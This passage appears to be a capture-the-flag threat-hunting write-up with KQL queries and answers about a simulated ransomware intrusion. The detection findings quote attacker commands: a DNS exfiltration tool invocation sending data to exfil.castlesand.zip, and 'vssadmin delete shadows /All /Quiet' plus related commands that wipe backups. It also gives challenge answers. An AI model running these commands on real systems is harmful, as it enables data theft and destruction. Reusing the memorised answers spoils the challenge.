      Getting the first timestamp from the attack, and viewing the commands (Unsuspicious ones were filtered out at the end):
      let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; ProcessEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z) | distinct process_commandline | where process_commandline !contains "Teams.exe" and process_commandline !contains "Spotify" and process_commandline !contains "EXCEL.EXE" and process_commandline !contains "WINWORD.EXE" and process_commandline !contains "OneDrive.exe"
      Suspicious/Unusual commands:
      • Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
      • Trying to inhibit system recovery:
        • bcdedit.exe 111111111111111111111111111
          • Used to manage the Boot Configuration Data (BCD) store in Windows
            • The BCD store contains boot configuration parameters and controls the boot process for Windows
            • Responsible for specifying which operating system to boot, configuring boot options, and managing boot entries
          • 111...111 is not a valid argument
          • Without a valid argument, the command would likely result in an error or display the available options for the bcdedit.exe command
        • vssadmin.exe 11111111111111111111111
          • Used to manage the Volume Shadow Copy Service (VSS) in Windows
        • vssadmin.exe delete shadows /All /Quiet
          • Delete all existing shadow copies on the system
          • Shadow copies are created by the Volume Shadow Copy Service and are used for creating backups or restoring previous versions of files
          • By running this command with the /All and /Quiet options, it deletes all shadow copies without prompting for confirmation or displaying any output
        • wbadmin.exe 1111111111
          • Used for Windows Server Backup administration and recovery operations
        • wevtutil.exe 111111111111111111111111111111
          • Used for managing Windows Event Logs
       
      Trying Invoke-DNSExfiltrator:
      let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; ProcessEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z) | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
      2023-05-26T10:33:04Z
      (The first occurrence of Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500)
       
      Extra note:
      let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; FileCreationEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
      • Invoke-DNSExfiltrator.ps1 was created
      • Nearing the end, every file is encrypted with .sharkfin
  1. What MITRE Technique is this aligned with?
    1. T1048 (Exfiltration - Exfiltration Over Alternative Protocol)
  1. How many hosts are affected by this action?
    1. ProcessEvents | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500" | distinct hostname | count
  1. How many distinct job roles were affected by this action?
    1. let victim_hostname = ProcessEvents | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500" | distinct hostname; Employees | where hostname in (victim_hostname) | distinct role | count
      Fun fact, the roles are:
      • Marketing Director
      • Chief Executive Officer
      • Sales Director
      • Chief Operations Officer
      • Chief Financial Officer

Section 5: A clean sweep 🧹


  1. Look up the IP addresses from Q8. Which IP address is in the country that hosted the winter olympics a few years ago?
    1. 124.138.210.88 (South Korea)
  1. Which one hosted the winter olympics recently? If there's more than one, post any of them.
    1. 223.9.222.59 (China) 43.185.57.65 (China)
  1. Search the malicious files found in Q12 on VirusTotal. Which file appears to not be malicious? Copy and paste the SHA256 hash.
    1. e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496
  1. Who signed the file?
    1. notion image
      Microsoft (Check on VirusTotal)
  1. Research the malware files some more. Which threat actor group may have used these in the past?
    1. APT41 (Based on VirusTotal Community - The same for every malicious malware files)
  1. For what you found in Section 4, Q15, who developed this malware? Paste their username.

Section 6: Security Jeopardy REDUX 🕺


XXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1t9XXp5b2JrcmFoc1t5XXp5b2JrcmFoc1tlXXp5b2JrcmFoc1t2XXp5b2JrcmFoc1t0XXp5b2JrcmFoc1tuXXp5b2JrcmFoc1tpXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1t5XXp5b2JrcmFoc1sgXXp5b2JrcmFoc1txXXp5b2JrcmFoc1thXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tsXXp5b2JrcmFoc1tiXXp5b2JrcmFoc1tvXXp5b2JrcmFoc1t4XXp5b2JrcmFoc1tlXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1t1XXp5b2JrcmFoc1tmXXp5b2JrcmFoc1t7XXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1s=
Solution:
  1. Base64
  1. Discard the redundant data
  1. ROT13
  1. Reverse the string
sharkboy and lavagirl